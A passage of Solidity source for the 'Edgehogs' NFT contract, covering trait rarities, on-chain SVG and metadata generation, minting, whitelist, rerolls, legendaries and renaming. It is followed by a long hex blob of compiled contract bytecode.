550, 550, 550, 550, 550, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 50 ]; //clothes rarities[4] = [ 0, 1000, 800, 800, 800, 600, 600, 500, 500, 400, 400, 400, 400, 400, 300, 300, 300, 300, 300, 200, 200, 200, 150, 100, 50 ]; //mouths rarities[5] = [ 0, 800, 600, 600, 600, 600, 600, 400, 400, 400, 400, 300, 300, 300, 300, 300, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200, 100, 100, 100, 100, 100, 100, 100, 50, 50, 50, 50 ]; //headgears rarities[6] = [ 0, 850, 800, 800, 600, 600, 600, 400, 400, 400, 400, 300, 300, 300, 300, 300, 200, 200, 200, 200, 200, 200, 200, 200, 200, 100, 100, 100, 100, 100, 100, 100, 100, 50 ]; //eyes rarities[7] = [ 0, 800, 700, 700, 700, 700, 500, 500, 500, 500, 500, 500, 500, 400, 400, 400, 300, 200, 200, 200, 200, 200, 100, 100, 100, 50, 50 ]; //accessories //traits //backgrounds traitsByName[0] = [ "n/a", "Psychedelic", "Purple", "Orange", "Green", "Pink", "Pink-Blue", "Blue-Green" ]; //backs traitsByName[1] = [ "n/a", "Edgehog", "Firework", "Black", "Neon Sparks", "Shoomery", "Pirate", "Punk", "Grant us Eyes", "Rainbow", "Neon Punk", "Psychedelic", "Slime", "Spotty", "Christmas", "Brainiac", "Cyberhog", "Bubble gum", "Skellyhog", "TNT", "Biohazard", "Robohog", "Hellhog", "Virus", "Pure Gold", "Diamond" ]; //bottoms traitsByName[2] = [ "n/a", "Fancy", "Padre", "Joker", "Vault Dweller", "Santa", "Torn Jeans", "Fishnets", "Bikini", "Green", "Pajamas", "BDSM", "Mime", "Pink", "Jungle", "Rainbow", "Elvis", "Bathog", "Partyhog", "Skelly", "Pure Gold" ]; //clothes traitsByName[3] = [ "n/a", "Pink", "Joker", "Vault Dweller", "Padre", "Santa", "Freddy", "Pierced Nips", "Bikini", "Punk", "Pajamas", "BDSM", "Mime", "Rapper", "Buff", "Rainbow", "Elvis", "Bathog", "Partyhog", "Skelly", "Pure Gold" ]; //mouths traitsByName[4] = [ "None", "Plain", "Smile", "Drooling", "Tongue", "Pipe", "Party", "Love", "Zombie", "Rabid", "Blush", "Mime", "Bubble gum", "Blunt", "Bloody", "Licker", "Vampire", "Blotter", "Virus", "Red Beard", "Golden tooth", "TNT", "Hannibal", "Biohazard", "Laser" ]; //headgears traitsByName[5] = [ "n/a", "None", "Beanie", "Fastfood", "Apple", "Frying pan", "Tinfoil hat", "Arrow", "Punk", "Rabbit ears", "Doc", "Pizza", "Anntennae", "Horny", "Pretty bow", "Eye", "Devil", "Skull", "Toad", "Unicorn", "Kamikaze", "Santa", "Pirate", "Alien eyes", "Demon", "Crown", "Chief", "Zombie hand", "Fake halo", "Brainz", "Strawberry cap", "Russian hat", "Frankenhog", "Plunger", "Sroomhead", "Octopus", "Plague Doctor", "VR" ]; //eyes traitsByName[6] = [ "n/a", "Plain", "Sus", "Green", "Crosseyed", "Angry", "Kawaii", "Tired", "Grumpy", "Red goggles", "Green goggles", "Bloodshot", "Goomba", "Eye patch", "Squinty", "Insane", "Vampire", "Pop out", "Popeye", "Dizzy", "Triple eye", "Hearts", "XX", "Alien", "VR goggles", "Cyclops", "Rainbow goggles", "Cyborg", "Cyberhog", "Demon", "Hogminator", "Steampunk", "Deal with it", "Lasers" ]; //accessories traitsByName[7] = [ "n/a", "None", "Coffee", "Sausage", "Sorcerer staff", "Mana potion", "Bong", "Pirate flag", "Whip", "Beer", "Steel claws", "Trident", "Knife", "Club", "Balloon", "Shocker", "Biohazard", "Lightsaber", "Master Sword", "Doggy", "Rose", "Gun", "Pee", "Chainsaw", "Scythe", "Dildo", "Minigun" ]; traitsByName[8] = [ "n/a", "Nude Dude", "Dark Entity", "Acid Hog", "Zombie Hog", "Hog Spirit", "Lava Hog", "Why So Serious", "Robohog", "Very Fast Blue Hog", "Retrohog" ]; } //Get the attribute name for the properties of the token by its index function _getTrait(uint256 _trait, uint256 index) internal view returns (string memory) { return traitsByName[_trait][index]; } //////////////////////////////////////////////////////////// /////🦔GENERATE TRAITS AND SVG BASED ON SEED🦔///////////// /////////////////////////////////////////////////////////// //Get randomized values for each different trait with a single pseudorandom seed // note: we are generating both traits and SVG on the fly based on the seed which is the the only parameter saved in memory // Not writing a whole struct allows for serious gas savings on mint, but has a downside that we can't easily address or change a single trait function getTraits(uint256 seed) public view returns (string memory svg, string memory properties) { uint16[] memory randomInputs = expand(seed, 8); uint16[] memory traits = new uint16[](9); /** traits[0] bg traits[1] back traits[2] bottom traits[3] clothes traits[4] mouth traits[5] headgear traits[6] eyes traits[7] accessory traits[8] legendary */ if (seed > 100) { traits[0] = getRandomIndex(rarities[0], randomInputs[0]); traits[1] = getRandomIndex(rarities[1], randomInputs[1]); traits[2] = getRandomIndex(rarities[2], randomInputs[2]); traits[3] = getRandomIndex(rarities[3], randomInputs[3]); traits[4] = getRandomIndex(rarities[4], randomInputs[4]); traits[5] = getRandomIndex(rarities[5], randomInputs[5]); traits[6] = getRandomIndex(rarities[6], randomInputs[6]); traits[7] = getRandomIndex(rarities[7], randomInputs[7]); traits[8] = 0; //handling compatibility exceptions //tnt //hellhog if (traits[1] == 19 || traits[1] == 22) { traits[5] = 1; } //tnt if (traits[4] == 21) { traits[7] = 0; } //staff //scythe //plain if (traits[7] == 4 || traits[7] == 24) { traits[4] = 1; } //VR if (traits[5] == 37) { traits[6] = 1; } //Plague if (traits[5] == 36) { traits[6] = 1; traits[4] = 0; } } else { traits[0] = 0; traits[1] = 0; traits[2] = 0; traits[3] = 0; traits[4] = 0; traits[5] = 0; traits[6] = 0; traits[7] = 0; traits[8] = uint16(seed); } // render svg bytes memory _svg = renderEdgehog( traits[0], traits[1], traits[2], traits[3], traits[4], traits[5], traits[6], traits[7], traits[8] ); svg = base64(_svg); // pack properties, put 1 after the last property for JSON to be formed correctly (no comma after the last one) if (seed > 100) { bytes memory _properties = abi.encodePacked( packMetaData("background", _getTrait(0, traits[0]), 0), packMetaData("back", _getTrait(1, traits[1]), 0), packMetaData("bottom", _getTrait(2, traits[2]), 0), packMetaData("clothes", _getTrait(3, traits[3]), 0), packMetaData("mouth", _getTrait(4, traits[4]), 0), packMetaData("headgear", _getTrait(5, traits[5]), 0), packMetaData("eyes", _getTrait(6, traits[6]), 0), packMetaData("accessory", _getTrait(7, traits[7]), 1) ); properties = string(abi.encodePacked(_properties)); } else { bytes memory _properties = abi.encodePacked( packMetaData("legendary", _getTrait(8, seed), 1) ); properties = string(abi.encodePacked(_properties)); } return (svg, properties); } // Get a random attribute using the rarities defined // Shout out to Anonymice for the logic function getRandomIndex( uint16[] memory attributeRarities, uint256 randomNumber ) private pure returns (uint16 index) { uint16 random10k = uint16(randomNumber % 10000); uint16 lowerBound; for (uint16 i = 1; i <= attributeRarities.length; i++) { uint16 percentage = attributeRarities[i]; if (random10k < percentage + lowerBound && random10k >= lowerBound) { return i; } lowerBound = lowerBound + percentage; } revert(); } //Get attribute svg for each different property of the token function renderEdgehog( uint16 _background, uint16 _back, uint16 _bottom, uint16 _clothes, uint16 _mouth, uint16 _headgear, uint16 _eyes, uint16 _accessory, uint16 _legendary ) public view returns (bytes memory) { bytes memory start = abi.encodePacked( svgStart, descriptor.renderBackground(_background), descriptor.renderBack(_back), _body, descriptor.renderBottom(_bottom) ); return abi.encodePacked( start, descriptor.renderClothes(_clothes), _head, descriptor.renderAccessory(_accessory), descriptor.renderHeadgear(_headgear), descriptor.renderEyes(_eyes), descriptor.renderMouth(_mouth), descriptor.renderLegendary(_legendary), svgEnd ); } ///////////////////////////////////// /////🦔GENERATE METADATA🦔////////// //////////////////////////////////// //Get the metadata for a token in base64 format function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "Token not found"); (string memory svg, string memory properties) = getTraits( tokenSeed[tokenId] ); return string( abi.encodePacked( "data:application/json;base64,", base64( abi.encodePacked( '{"name":"Edgehog #', uint2str(tokenId),' ',_tokenName[tokenId], '", "description": "Edgehogs live on the cutting edge of Ethereum blockchain and are edgy as hell.", "traits": [', properties, '], "image":"data:image/svg+xml;base64,', svg, '"}' ) ) ) ); } // Bundle metadata so it follows the standard function packMetaData( string memory name, string memory svg, uint256 last ) private pure returns (bytes memory) { string memory comma = ","; if (last > 0) comma = ""; return abi.encodePacked( '{"trait_type": "', name, '", "value": "', svg, '"}', comma ); } ///////////////////////////////////// /////🦔MINTING🦔//////////////////// //////////////////////////////////// //giveaways are nice function gift(uint256 numberOfTokens, address recipient) external onlyOwner { uint256 supply = totalSupply(); require(supply + numberOfTokens <= MAX, "Would exceed max supply"); for (uint256 i = 0; i < numberOfTokens; i++) { tokenSeed[supply + i] = uint256( keccak256(abi.encodePacked(block.timestamp, msg.sender, supply + i)) ); } delete supply; _safeMint(recipient, numberOfTokens); } //mint Edgehog function mint(uint256 numberOfTokens) external payable { uint256 supply = totalSupply(); require(saleState == 1, "Sale inactive"); require(msg.sender != steveAoki, "No Steve Aoki!"); require(numberOfTokens <= PURCHASE_LIMIT, "Too many"); require(supply + numberOfTokens <= MAX - MAX_FREE + freeClaimed, "Would exceed max public supply"); require(PRICE * numberOfTokens == msg.value, "Wrong ETH amount"); for (uint256 i = 0; i < numberOfTokens; i++) { tokenSeed[supply + i] = uint256( keccak256(abi.encodePacked(block.timestamp, msg.sender, supply + i)) ); } delete supply; _safeMint(msg.sender, numberOfTokens); } //free mint, 1 per transaction, 1 per wallet, address must be whtelisted function presaleMint(bytes32[] calldata proof_) external { uint256 supply = totalSupply(); require(saleState == 1, "Sale inactive"); require(supply + 1 <= MAX, "Would exceed max supply"); require(isWhitelisted(msg.sender, proof_), "Not on the list"); require(whitelistMints[msg.sender] == 0, "Already minted"); freeClaimed++; whitelistMints[msg.sender]++; tokenSeed[supply] = uint256( keccak256(abi.encodePacked(block.timestamp, msg.sender, supply)) ); delete supply; _safeMint(msg.sender, 1); } //rerolls a common edgehog function reroll(uint256 _tokenId) external payable { require(saleState == 2, "Reroll inactive"); require(rerollsMade < MAX_REROLLS, "No more rerolls"); require(msg.sender == ownerOf(_tokenId), "Only owner can reroll"); require(!isLegendary(_tokenId), "Can't be rerolled"); require(REROLL_PRICE == msg.value, "Wrong ETH amount"); rerollsMade = rerollsMade + 1; tokenSeed[_tokenId] = uint256( keccak256(abi.encodePacked(block.timestamp, msg.sender, _tokenId + 1)) ); } //puts a legendary edgehog in place of a common function rollLegendary(uint256 _tokenId, uint256 _legendaryId) public onlyOwner { //can only make regulars legendaries require(!isLegendary(_tokenId), "Can't be upgraded"); tokenSeed[_tokenId] = _legendaryId; addLegendaryNumber(_legendaryId); } //checks if an edgehog is legendary function isLegendary(uint256 _tokenId) public view returns (bool) { if (tokenSeed[_tokenId] <=100) { return true; } else { return false; } } //set legendaries function setLegendaries(uint256 _legendarySeed) public onlyOwner { require(legendariesSet == false, "Legendaries already set"); uint256 s = totalSupply(); uint256 n = _legendarySeed; for (uint256 i = 1; i <= 10; i++) { uint256 randomNumber = uint256(keccak256(abi.encodePacked(block.timestamp,msg.sender,n))) % s; if (!isLegendary(randomNumber)) { tokenSeed[randomNumber] = i; addLegendaryNumber(randomNumber); n = n * 6; } } delete s; delete n; legendariesSet = true; } ///////////////////////////////////// /////🦔RENAMING🦔/////////////////// //////////////////////////////////// // Shout out to Hashmasks //Changes the name for Edgehog tokenId function changeName(uint256 tokenId, string memory newName) public { address owner = ownerOf(tokenId); require(_msgSender() == owner, "ERC721: caller is not the owner"); require(validateName(newName) == true, "Not a valid new name"); require(sha256(bytes(newName)) != sha256(bytes(_tokenName[tokenId])), "New name is same as the current one"); require(isNameReserved(newName) == false, "Name already reserved"); // If already named, dereserve old name if (bytes(_tokenName[tokenId]).length > 0) { toggleReserveName(_tokenName[tokenId], false); } toggleReserveName(newName, true); _tokenName[tokenId] = newName; emit NameChange(tokenId, newName); } // Events event NameChange (uint256 indexed edgehogId, string newName); //Returns name of the NFT at index. function tokenNameByIndex(uint256 index) public view returns (string memory) { return _tokenName[index]; } //Returns if the name has been reserved. function isNameReserved(string memory nameString) public view returns (bool) { return _nameReserved[toLower(nameString)]; } //Reserves the name if isReserve is set to true, de-reserves if set to false function toggleReserveName(string memory str, bool isReserve) internal { _nameReserved[toLower(str)] = isReserve; } //Check if the name string is valid (Alphanumeric and spaces without leading or trailing space) function validateName(string memory str) public pure returns (bool){ bytes memory b = bytes(str); if(b.length < 1) return false; if(b.length > 25) return false; // Cannot be longer than 25 characters if(b[0] == 0x20) return false; // Leading space if (b[b.length - 1] == 0x20) return false; // Trailing space bytes1 lastChar = b[0]; for(uint i; i<b.length; i++){ bytes1 char = b[i]; if (char == 0x20 && lastChar == 0x20) return false; // Cannot contain continous spaces if( !(char >= 0x30 && char <= 0x39) && //9-0 !(char >= 0x41 && char <= 0x5A) && //A-Z !(char >= 0x61 && char <= 0x7A) && //a-z !(char == 0x20) //space ) return false; lastChar = char; } return true; } //Converts the string to lowercase function toLower(string memory str) public pure returns (string memory){ bytes memory bStr = bytes(str); bytes memory bLower = new bytes(bStr.length); for (uint i = 0; i < bStr.length; i++) { // Uppercase character if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) { bLower[i] = bytes1(uint8(bStr[i]) + 32); } else { bLower[i] = bStr[i]; } } return string(bLower); } /////////////////////////////////// /////🦔ADMIN🦔//////////////////// ////////////////////////////////// //Gets the token pre-approved for trading on OpenSea - saves gas for the end users function setOpenSeaProxyRegistry(OpenSeaProxyRegistry openSeaProxyRegistry_) external onlyOwner { openSeaProxyRegistry = openSeaProxyRegistry_; } function flipOpenSeaApproved() external onlyOwner { isOpenSeaApproved = !isOpenSeaApproved; } function flipSaleState() external onlyOwner { require(saleState < 3, "Sale state is already closed"); saleState++; } function setMaxSupply(uint256 _supply) public onlyOwner { MAX = _supply; } function setFreeSupply(uint256 _supply) public onlyOwner { MAX_FREE = _supply; } function setPrice(uint256 _newPrice) external onlyOwner { PRICE = _newPrice; } // Withdraw to the team according to shares function withdrawAll() public payable onlyOwner { uint256 _share = address(this).balance / 100; require(payable(t1).send(_share * 90)); require(payable(t2).send(_share * 10)); } /////////////////////////////////// /////🦔HELPERS🦔////////////////// ////////////////////////////////// function isApprovedForAll(address _owner, address operator) public view override returns (bool) { return (isOpenSeaApproved && address(openSeaProxyRegistry.proxies(_owner)) == operator) || super.isApprovedForAll(_owner, operator); } // Check if the address is whitelisted function isWhitelisted(address account_, bytes32[] calldata proof_) public view returns (bool) { return _verify(_leaf(account_), proof_); } // Set Merckle root function setMerkleRoot(bytes32 merkleRoot_) public onlyOwner { _merkleRoot = merkleRoot_; } // Encode Merckle leaf from address function _leaf(address account_) internal pure returns (bytes32) { return keccak256(abi.encodePacked(account_)); } // verify proof function _verify(bytes32 leaf_, bytes32[] memory proof_) internal view returns (bool) { return MerkleProof.verify(proof_, _merkleRoot, leaf_); } ///set attributes libraries function setDescriptor(address source) external onlyOwner { descriptor = InterfaceDescriptor(source); } //generates random numbers based on a random number function expand(uint256 _randomNumber, uint256 n) private pure returns (uint16[] memory expandedValues) { expandedValues = new uint16[](n); for (uint256 i = 0; i < n; i++) { expandedValues[i] = bytes2uint(keccak256(abi.encode(_randomNumber, i))); } return expandedValues; } //converts uint256 to uint16 function bytes2uint(bytes32 _a) private pure returns (uint16) { return uint16(uint256(_a)); } function freeClaimedCount() external view returns (uint256) { return freeClaimed; } function rerollsMadeCount() external view returns (uint256) { return rerollsMade; } //adds a legendary edgehog's id to the list of legendaties function addLegendaryNumber(uint256 _legendaryId) public onlyOwner { legendaryList.push(_legendaryId); } //returns ids of legendary edgehogs function legendariesList() external view returns (uint256[] memory) { return legendaryList; } //adds a new name to the legendaries array function addNewLegendary(string memory _legendaryName) public onlyOwner { traitsByName[8].push(_legendaryName); } //returns number of tokens owned function tokensOfOwner(address address_) public virtual view returns (uint256[] memory) { uint256 _balance = balanceOf(address_); uint256[] memory _tokens = new uint256[] (_balance); uint256 _index; uint256 _loopThrough = totalSupply(); for (uint256 i = 0; i < _loopThrough; i++) { bool _exists = _exists(i); if (_exists) { if (ownerOf(i) == address_) { _tokens[_index] = i; _index++; } } else if (!_exists && _tokens[_balance - 1] == 0) { _loopThrough++; } } return _tokens; } //Helper function to convert uint to string function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint256 j = _i; uint256 len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint256 k = len; while (_i != 0) { k = k - 1; uint8 temp = (48 + uint8(_i - (_i / 10) * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } // Base64 by Brecht Devos - <[email protected]> // Provides a function for encoding some bytes in base64 string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; function base64(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; // load the table into memory string memory table = TABLE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for {} lt(dataPtr, endPtr) {} { dataPtr := add(dataPtr, 3) // read 3 bytes let input := mload(dataPtr) // write 4 characters mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F))))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } //if you are reading this, you are a true blockchain nerd. Much love - @spiridono! 🦔 }
0x6080604052600436106103b75760003560e01c80638462151c116101f2578063a647f0cf1161010d578063e1dc0761116100a0578063f2fde38b1161006f578063f2fde38b14610acb578063f676308a14610aeb578063fa26acef14610b0b578063fa57416114610b2b57600080fd5b8063e1dc076114610a47578063e985e9c514610a75578063ed6661c214610a95578063edc0c72c14610aab57600080fd5b8063c87b56dd116100dc578063c87b56dd146109db578063cff47679146109fb578063d49d518114610a1b578063d75e611014610a3157600080fd5b8063a647f0cf14610965578063b88d4fde1461097b578063c39cbef11461099b578063c5a991f8146109bb57600080fd5b80639a1b74b611610185578063a0712d6811610154578063a0712d68146108f2578063a22cb46514610905578063a232ef7714610925578063a4d925f11461094557600080fd5b80639a1b74b6146108875780639a77a89e146108a75780639f51758e146108bc5780639ffdb65a146108d257600080fd5b80638da5cb5b116101c15780638da5cb5b1461081457806391b7f5ed146108325780639416b4231461085257806395d89b411461087257600080fd5b80638462151c146107c0578063853828b6146107e05780638d75fe05146107e85780638d859f3e146107fe57600080fd5b8063303e74df116102e25780636352211e11610275578063715018a611610244578063715018a6146107565780637636821e1461076b5780637cb647591461078057806383a076be146107a057600080fd5b80636352211e146106d65780636d522418146106f65780636f8b44b01461071657806370a082311461073657600080fd5b8063509045b5116102b1578063509045b51461063d5780635a23dd991461065d5780635f5168361461067d578063603f4d52146106aa57600080fd5b8063303e74df146105c157806334918dfd146105e157806342842e0e146105f65780635025b5481461061657600080fd5b806312e70e3e1161035a5780631c19c215116103295780631c19c2151461054d57806323b872dd146105605780632add59c6146105805780632c5c05e81461059f57600080fd5b806312e70e3e146104de57806315b56d10146104fe57806318160ddd1461051e5780631b47ec3a1461053757600080fd5b806306fdde031161039657806306fdde031461044e578063081812fc1461047057806308d49f82146104a8578063095ea7b3146104be57600080fd5b80628af2e6146103bc57806301b9a397146103fc57806301ffc9a71461041e575b600080fd5b3480156103c857600080fd5b506103e96103d73660046146f6565b60176020526000908152604090205481565b6040519081526020015b60405180910390f35b34801561040857600080fd5b5061041c6104173660046146f6565b610b40565b005b34801561042a57600080fd5b5061043e610439366004614729565b610b95565b60405190151581526020016103f3565b34801561045a57600080fd5b50610463610be7565b6040516103f3919061479e565b34801561047c57600080fd5b5061049061048b3660046147b1565b610c79565b6040516001600160a01b0390911681526020016103f3565b3480156104b457600080fd5b506103e9600b5481565b3480156104ca57600080fd5b5061041c6104d93660046147ca565b610cbd565b3480156104ea57600080fd5b5061041c6104f93660046147b1565b610d4b565b34801561050a57600080fd5b5061043e6105193660046148c1565b610daa565b34801561052a57600080fd5b50600254600154036103e9565b34801561054357600080fd5b506103e960115481565b61041c61055b3660046147b1565b610ddd565b34801561056c57600080fd5b5061041c61057b3660046148f5565b610fb0565b34801561058c57600080fd5b5060125461043e90610100900460ff1681565b3480156105ab57600080fd5b506105b4610fbb565b6040516103f39190614936565b3480156105cd57600080fd5b50601854610490906001600160a01b031681565b3480156105ed57600080fd5b5061041c611012565b34801561060257600080fd5b5061041c6106113660046148f5565b6110c1565b34801561062257600080fd5b5060125461049090630100000090046001600160a01b031681565b34801561064957600080fd5b5061041c61065836600461497a565b6110dc565b34801561066957600080fd5b5061043e6106783660046149e7565b61116e565b34801561068957600080fd5b506103e96106983660046147b1565b60166020526000908152604090205481565b3480156106b657600080fd5b506012546106c49060ff1681565b60405160ff90911681526020016103f3565b3480156106e257600080fd5b506104906106f13660046147b1565b6111f7565b34801561070257600080fd5b506104636107113660046147b1565b611209565b34801561072257600080fd5b5061041c6107313660046147b1565b6112ab565b34801561074257600080fd5b506103e96107513660046146f6565b6112da565b34801561076257600080fd5b5061041c611328565b34801561077757600080fd5b5061041c61135e565b34801561078c57600080fd5b5061041c61079b3660046147b1565b6113a5565b3480156107ac57600080fd5b5061041c6107bb366004614a3b565b6113d4565b3480156107cc57600080fd5b506105b46107db3660046146f6565b6114e6565b61041c611620565b3480156107f457600080fd5b506103e9600f5481565b34801561080a57600080fd5b506103e9600d5481565b34801561082057600080fd5b506000546001600160a01b0316610490565b34801561083e57600080fd5b5061041c61084d3660046147b1565b6116d1565b34801561085e57600080fd5b5061046361086d3660046148c1565b611700565b34801561087e57600080fd5b50610463611862565b34801561089357600080fd5b5061041c6108a23660046148c1565b611871565b3480156108b357600080fd5b506010546103e9565b3480156108c857600080fd5b506103e9600e5481565b3480156108de57600080fd5b5061043e6108ed3660046148c1565b6118de565b61041c6109003660046147b1565b611aed565b34801561091157600080fd5b5061041c610920366004614a6b565b611d12565b34801561093157600080fd5b5061041c6109403660046147b1565b611da8565b34801561095157600080fd5b5061041c6109603660046146f6565b611ee4565b34801561097157600080fd5b506103e960105481565b34801561098757600080fd5b5061041c610996366004614a9e565b611f3a565b3480156109a757600080fd5b5061041c6109b6366004614b1d565b611f8b565b3480156109c757600080fd5b5061043e6109d63660046147b1565b6122c3565b3480156109e757600080fd5b506104636109f63660046147b1565b6122ee565b348015610a0757600080fd5b5060125461043e9062010000900460ff1681565b348015610a2757600080fd5b506103e960095481565b348015610a3d57600080fd5b506103e9600c5481565b348015610a5357600080fd5b50610a67610a623660046147b1565b6123c1565b6040516103f3929190614b63565b348015610a8157600080fd5b5061043e610a90366004614b91565b613151565b348015610aa157600080fd5b506103e9600a5481565b348015610ab757600080fd5b5061041c610ac6366004614bbf565b61321f565b348015610ad757600080fd5b5061041c610ae63660046146f6565b6133dd565b348015610af757600080fd5b5061041c610b063660046147b1565b613475565b348015610b1757600080fd5b50610463610b26366004614c12565b6134a4565b348015610b3757600080fd5b506011546103e9565b6000546001600160a01b03163314610b735760405162461bcd60e51b8152600401610b6a90614cba565b60405180910390fd5b601880546001600160a01b0319166001600160a01b0392909216919091179055565b60006001600160e01b031982166380ac58cd60e01b1480610bc657506001600160e01b03198216635b5e139f60e01b145b80610be157506301ffc9a760e01b6001600160e01b03198316145b92915050565b606060038054610bf690614cef565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2290614cef565b8015610c6f5780601f10610c4457610100808354040283529160200191610c6f565b820191906000526020600020905b815481529060010190602001808311610c5257829003601f168201915b5050505050905090565b6000610c8482613987565b610ca1576040516333d1c03960e21b815260040160405180910390fd5b506000908152600760205260409020546001600160a01b031690565b6000610cc8826111f7565b9050806001600160a01b0316836001600160a01b03161415610cfd5760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b03821614801590610d1d5750610d1b8133613151565b155b15610d3b576040516367d9dca160e11b815260040160405180910390fd5b610d468383836139b3565b505050565b6000546001600160a01b03163314610d755760405162461bcd60e51b8152600401610b6a90614cba565b602a80546001810182556000919091527fbeced09521047d05b8960b7e7bcc1d1292cf3e4b2a6b63f48335cbde5f7545d20155565b6000602c610db783611700565b604051610dc49190614d2a565b9081526040519081900360200190205460ff1692915050565b60125460ff16600214610e245760405162461bcd60e51b815260206004820152600f60248201526e5265726f6c6c20696e61637469766560881b6044820152606401610b6a565b600b5460105410610e695760405162461bcd60e51b815260206004820152600f60248201526e4e6f206d6f7265207265726f6c6c7360881b6044820152606401610b6a565b610e72816111f7565b6001600160a01b0316336001600160a01b031614610eca5760405162461bcd60e51b815260206004820152601560248201527413db9b1e481bdddb995c8818d85b881c995c9bdb1b605a1b6044820152606401610b6a565b610ed3816122c3565b15610f145760405162461bcd60e51b815260206004820152601160248201527010d85b89dd081899481c995c9bdb1b1959607a1b6044820152606401610b6a565b34600e5414610f585760405162461bcd60e51b815260206004820152601060248201526f15dc9bdb99c811551208185b5bdd5b9d60821b6044820152606401610b6a565b601054610f66906001614d5c565b6010554233610f76836001614d5c565b604051602001610f8893929190614d74565b60408051601f1981840301815291815281516020928301206000938452601690925290912055565b610d46838383613a0f565b6060602a805480602002602001604051908101604052809291908181526020018280548015610c6f57602002820191906000526020600020905b815481526020019060010190808311610ff5575050505050905090565b6000546001600160a01b0316331461103c5760405162461bcd60e51b8152600401610b6a90614cba565b601254600360ff909116106110935760405162461bcd60e51b815260206004820152601c60248201527f53616c6520737461746520697320616c726561647920636c6f736564000000006044820152606401610b6a565b6012805460ff169060006110a683614d9c565b91906101000a81548160ff021916908360ff16021790555050565b610d4683838360405180602001604052806000815250611f3a565b6000546001600160a01b031633146111065760405162461bcd60e51b8152600401610b6a90614cba565b61110f826122c3565b156111505760405162461bcd60e51b815260206004820152601160248201527010d85b89dd081899481d5c19dc98591959607a1b6044820152606401610b6a565b600082815260166020526040902081905561116a81610d4b565b5050565b60006111ef6111b6856040516bffffffffffffffffffffffff19606083901b166020820152600090603401604051602081830303815290604052805190602001209050919050565b848480806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250613bfc92505050565b949350505050565b600061120282613c0b565b5192915050565b6000818152602b6020526040902080546060919061122690614cef565b80601f016020809104026020016040519081016040528092919081815260200182805461125290614cef565b801561129f5780601f106112745761010080835404028352916020019161129f565b820191906000526020600020905b81548152906001019060200180831161128257829003601f168201915b50505050509050919050565b6000546001600160a01b031633146112d55760405162461bcd60e51b8152600401610b6a90614cba565b600955565b60006001600160a01b038216611303576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600660205260409020546001600160401b031690565b6000546001600160a01b031633146113525760405162461bcd60e51b8152600401610b6a90614cba565b61135c6000613d25565b565b6000546001600160a01b031633146113885760405162461bcd60e51b8152600401610b6a90614cba565b6012805461ff001981166101009182900460ff1615909102179055565b6000546001600160a01b031633146113cf5760405162461bcd60e51b8152600401610b6a90614cba565b602d55565b6000546001600160a01b031633146113fe5760405162461bcd60e51b8152600401610b6a90614cba565b600061140d6002546001540390565b60095490915061141d8483614d5c565b11156114655760405162461bcd60e51b8152602060048201526017602482015276576f756c6420657863656564206d617820737570706c7960481b6044820152606401610b6a565b60005b838110156114d757423361147c8385614d5c565b60405160200161148e93929190614d74565b60408051601f198184030181529190528051602090910120601660006114b48486614d5c565b8152602081019190915260400160002055806114cf81614dbc565b915050611468565b5060009050610d468284613d75565b606060006114f3836112da565b90506000816001600160401b0381111561150f5761150f6147f6565b604051908082528060200260200182016040528015611538578160200160208202803683370190505b50905060008061154b6002546001540390565b905060005b8181101561161557600061156382613987565b905080156115be57876001600160a01b031661157e836111f7565b6001600160a01b031614156115b957818585815181106115a0576115a0614dd7565b6020908102919091010152836115b581614dbc565b9450505b611602565b801580156115ef5750846115d3600188614ded565b815181106115e3576115e3614dd7565b60200260200101516000145b1561160257826115fe81614dbc565b9350505b508061160d81614dbc565b915050611550565b509195945050505050565b6000546001600160a01b0316331461164a5760405162461bcd60e51b8152600401610b6a90614cba565b6000611657606447614e1a565b6013549091506001600160a01b03166108fc61167483605a614e2e565b6040518115909202916000818181858888f1935050505061169457600080fd5b6014546001600160a01b03166108fc6116ae83600a614e2e565b6040518115909202916000818181858888f193505050506116ce57600080fd5b50565b6000546001600160a01b031633146116fb5760405162461bcd60e51b8152600401610b6a90614cba565b600d55565b60606000829050600081516001600160401b03811115611722576117226147f6565b6040519080825280601f01601f19166020018201604052801561174c576020820181803683370190505b50905060005b825181101561185a57604183828151811061176f5761176f614dd7565b016020015160f81c1080159061179f5750605a83828151811061179457611794614dd7565b016020015160f81c11155b15611801578281815181106117b6576117b6614dd7565b602001015160f81c60f81b60f81c60206117d09190614e4d565b60f81b8282815181106117e5576117e5614dd7565b60200101906001600160f81b031916908160001a905350611848565b82818151811061181357611813614dd7565b602001015160f81c60f81b82828151811061183057611830614dd7565b60200101906001600160f81b031916908160001a9053505b8061185281614dbc565b915050611752565b509392505050565b606060048054610bf690614cef565b6000546001600160a01b0316331461189b5760405162461bcd60e51b8152600401610b6a90614cba565b